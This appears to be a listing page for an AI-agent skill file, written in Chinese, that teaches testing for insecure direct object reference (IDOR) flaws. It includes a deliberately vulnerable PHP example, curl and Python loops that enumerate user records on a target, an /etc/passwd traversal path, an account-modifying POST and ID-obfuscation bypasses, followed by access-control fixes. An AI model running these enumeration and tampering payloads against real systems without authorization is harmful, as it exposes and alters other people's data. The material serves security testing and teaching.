skills/idor-testing/SKILL.md
IDOR不安全的直接对象引用测试的专业技能和方法论
npx skillsauth add ed1s0nz/cyberstrikeai idor-testingInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
IDOR(Insecure Direct Object Reference)是一种访问控制漏洞,当应用程序直接使用用户提供的输入来访问资源,而未验证用户是否有权限访问该资源时发生。本技能提供IDOR漏洞的检测、利用和防护方法。
应用程序使用可预测的标识符(如ID、文件名)直接引用资源,未验证当前用户是否有权限访问该资源。
危险代码示例:
// 直接使用用户输入的ID
$file = file_get_contents('/files/' . $_GET['id'] . '.pdf');
常见资源类型:
常见位置:
顺序ID测试:
/user?id=1
/user?id=2
/user?id=3
UUID测试:
/user?id=550e8400-e29b-41d4-a716-446655440000
/user?id=550e8400-e29b-41d4-a716-446655440001
文件名测试:
/files/document1.pdf
/files/document2.pdf
/files/invoice_2024_001.pdf
访问其他用户资源:
当前用户ID: 100
测试: /user?id=101
测试: /user?id=102
访问其他用户文件:
/files/user100_document.pdf
测试: /files/user101_document.pdf
普通用户访问管理员资源:
/admin/users?id=1
/admin/settings
/admin/logs
枚举用户资料:
# 顺序枚举
for i in {1..1000}; do
curl "https://target.com/user?id=$i"
done
# 观察响应差异
访问其他用户文件:
/files/invoice_12345.pdf
/files/report_67890.pdf
/files/contract_11111.pdf
目录遍历结合:
/files/../admin/config.php
/files/../../etc/passwd
修改其他用户数据:
POST /api/user/update
Content-Type: application/json
{
"id": 101,
"email": "[email protected]"
}
批量获取数据:
import requests
for user_id in range(1, 1000):
response = requests.get(f'https://target.com/api/user/{user_id}')
if response.status_code == 200:
print(f"User {user_id}: {response.json()}")
Base64编码:
原始ID: 123
编码: MTIz
URL: /user?id=MTIz
哈希值:
原始ID: 123
哈希: 202cb962ac59075b964b07152d234b70
URL: /user?id=202cb962ac59075b964b07152d234b70
使用不同参数名:
/user?id=123
/user?uid=123
/user?user_id=123
/user?account=123
尝试不同HTTP方法:
GET /user/123
POST /user/123
PUT /user/123
PATCH /user/123
尝试不同路径:
/api/v1/user/123
/api/user/123
/user/123
/users/123
使用Intruder:
使用Repeater:
# 使用ZAP进行IDOR扫描
zap-cli active-scan --scanners all http://target.com
import requests
import json
def test_idor(base_url, user_id_range):
for user_id in user_id_range:
url = f"{base_url}/user?id={user_id}"
response = requests.get(url)
if response.status_code == 200:
data = response.json()
print(f"User {user_id}: {data.get('email', 'N/A')}")
test_idor("https://target.com", range(1, 100))
访问控制验证
def get_user_data(user_id, current_user_id):
# 验证权限
if user_id != current_user_id:
raise PermissionDenied("Cannot access other user's data")
# 返回数据
return db.get_user(user_id)
间接对象引用
# 使用映射表
user_mapping = {
'abc123': 100,
'def456': 101,
'ghi789': 102
}
def get_user(mapped_id):
real_id = user_mapping.get(mapped_id)
if not real_id:
raise NotFound()
return db.get_user(real_id)
基于角色的访问控制
def check_permission(user, resource):
if user.role == 'admin':
return True
if resource.owner_id == user.id:
return True
return False
资源所有权验证
def update_user_data(user_id, data, current_user):
user = db.get_user(user_id)
# 验证所有权
if user.id != current_user.id and current_user.role != 'admin':
raise PermissionDenied()
# 更新数据
db.update_user(user_id, data)
使用不可预测的标识符
import uuid
# 使用UUID替代顺序ID
resource_id = str(uuid.uuid4())
最小权限原则
tools
满配示例技能包:SKILL.md + scripts/、references/、assets/ 等可选目录;验证 Eino skill 与 HTTP 包内路径(仅授权安全测试与教学)。
testing
XXE XML外部实体注入测试的专业技能和方法论
testing
XSS跨站脚本攻击测试的专业技能
testing
XPath注入漏洞测试的专业技能和方法论